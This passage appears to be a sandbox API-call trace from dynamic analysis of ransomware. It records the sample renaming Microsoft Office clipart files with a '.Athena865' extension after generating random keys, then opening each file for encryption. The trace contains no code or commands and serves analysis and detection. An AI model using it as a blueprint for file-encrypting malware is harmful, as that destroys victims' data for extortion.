returned 1 [0123.459] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.459] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.461] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02116_.WMF" | out: lpString1="FD02116_.WMF") returned="FD02116_.WMF" [0123.461] lstrlenW (lpString="FD02116_.WMF") returned 12 [0123.461] lstrlenW (lpString="Athena865") returned 9 [0123.461] lstrcmpiW (lpString1="2116_.WMF", lpString2="Athena865") returned -1 [0123.461] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.Athena865") returned 73 [0123.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.462] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3988) returned 1 [0123.462] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.463] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.463] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.465] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.466] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.466] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02141_.WMF" | out: lpString1="FD02141_.WMF") returned="FD02141_.WMF" [0123.466] lstrlenW (lpString="FD02141_.WMF") returned 12 [0123.466] lstrlenW (lpString="Athena865") returned 9 [0123.467] lstrcmpiW (lpString1="2141_.WMF", lpString2="Athena865") returned -1 [0123.467] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.Athena865") returned 73 [0123.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.468] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2636) returned 1 [0123.468] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.469] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.469] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.472] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.472] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.472] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.473] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02153_.WMF" | out: lpString1="FD02153_.WMF") returned="FD02153_.WMF" [0123.473] lstrlenW (lpString="FD02153_.WMF") returned 12 [0123.473] lstrlenW (lpString="Athena865") returned 9 [0123.473] lstrcmpiW (lpString1="2153_.WMF", lpString2="Athena865") returned -1 [0123.473] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.Athena865") returned 73 [0123.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.474] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5392) returned 1 [0123.474] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.475] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.475] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.479] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.479] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.479] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02158_.WMF" | out: lpString1="FD02158_.WMF") returned="FD02158_.WMF" [0123.479] lstrlenW (lpString="FD02158_.WMF") returned 12 [0123.479] lstrlenW (lpString="Athena865") returned 9 [0123.479] lstrcmpiW (lpString1="2158_.WMF", lpString2="Athena865") returned -1 [0123.479] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.Athena865") returned 73 [0123.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1648) returned 1 [0123.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.481] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.481] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.484] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.484] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.484] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.485] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02161_.WMF" | out: lpString1="FD02161_.WMF") returned="FD02161_.WMF" [0123.485] lstrlenW (lpString="FD02161_.WMF") returned 12 [0123.485] lstrlenW (lpString="Athena865") returned 9 [0123.485] lstrcmpiW (lpString1="2161_.WMF", lpString2="Athena865") returned -1 [0123.485] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.Athena865") returned 73 [0123.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.486] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3128) returned 1 [0123.486] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.487] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.487] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.490] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.490] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.490] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FINCL_01.MID" | out: lpString1="FINCL_01.MID") returned="FINCL_01.MID" [0123.490] lstrlenW (lpString="FINCL_01.MID") returned 12 [0123.490] lstrlenW (lpString="Athena865") returned 9 [0123.490] lstrcmpiW (lpString1="CL_01.MID", lpString2="Athena865") returned 1 [0123.490] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.Athena865") returned 73 [0123.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.492] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12981) returned 1 [0123.492] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.493] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.493] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.498] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.499] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.499] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.500] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FINCL_02.MID" | out: lpString1="FINCL_02.MID") returned="FINCL_02.MID" [0123.500] lstrlenW (lpString="FINCL_02.MID") returned 12 [0123.500] lstrlenW (lpString="Athena865") returned 9 [0123.500] lstrcmpiW (lpString1="CL_02.MID", lpString2="Athena865") returned 1 [0123.500] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.Athena865") returned 73 [0123.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.athena865"), dwFlags=0x1) returned 1 [0123.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.501] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9318) returned 1 [0123.501] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.502] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.502] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.505] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.505] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.505] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FLAP.WMF" | out: lpString1="FLAP.WMF") returned="FLAP.WMF" [0123.506] lstrlenW (lpString="FLAP.WMF") returned 8 [0123.506] lstrlenW (lpString="Athena865") returned 9 [0123.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.Athena865") returned 69 [0123.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.athena865"), dwFlags=0x1) returned 1 [0123.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2070) returned 1 [0123.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.509] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.509] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.511] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.512] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.512] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.512] lstrcpyW (in: lpString1=0x241e8ae, lpString2="GRDEN_01.MID" | out: lpString1="GRDEN_01.MID") returned="GRDEN_01.MID" [0123.512] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0123.512] lstrlenW (lpString="Athena865") returned 9 [0123.512] lstrcmpiW (lpString1="EN_01.MID", lpString2="Athena865") returned 1 [0123.512] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.Athena865") returned 73 [0123.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7567) returned 1 [0123.514] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.515] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.515] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.517] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.518] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.518] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.518] lstrcpyW (in: lpString1=0x241e8ae, lpString2="GRID_01.MID" | out: lpString1="GRID_01.MID") returned="GRID_01.MID" [0123.519] lstrlenW (lpString="GRID_01.MID") returned 11 [0123.519] lstrlenW (lpString="Athena865") returned 9 [0123.519] lstrcmpiW (lpString1="ID_01.MID", lpString2="Athena865") returned 1 [0123.519] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.Athena865") returned 72 [0123.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.520] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6331) returned 1 [0123.520] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.521] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.521] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.524] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.524] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.524] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00057_.WMF" | out: lpString1="HH00057_.WMF") returned="HH00057_.WMF" [0123.525] lstrlenW (lpString="HH00057_.WMF") returned 12 [0123.525] lstrlenW (lpString="Athena865") returned 9 [0123.525] lstrcmpiW (lpString1="0057_.WMF", lpString2="Athena865") returned -1 [0123.525] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.Athena865") returned 73 [0123.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.527] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3764) returned 1 [0123.527] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.527] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.527] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.530] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.531] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.531] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.531] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00084_.WMF" | out: lpString1="HH00084_.WMF") returned="HH00084_.WMF" [0123.531] lstrlenW (lpString="HH00084_.WMF") returned 12 [0123.531] lstrlenW (lpString="Athena865") returned 9 [0123.531] lstrcmpiW (lpString1="0084_.WMF", lpString2="Athena865") returned -1 [0123.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.Athena865") returned 73 [0123.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2472) returned 1 [0123.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.534] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.534] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.537] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.537] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.537] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.538] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00231_.WMF" | out: lpString1="HH00231_.WMF") returned="HH00231_.WMF" [0123.538] lstrlenW (lpString="HH00231_.WMF") returned 12 [0123.538] lstrlenW (lpString="Athena865") returned 9 [0123.538] lstrcmpiW (lpString1="0231_.WMF", lpString2="Athena865") returned -1 [0123.538] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.Athena865") returned 73 [0123.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), 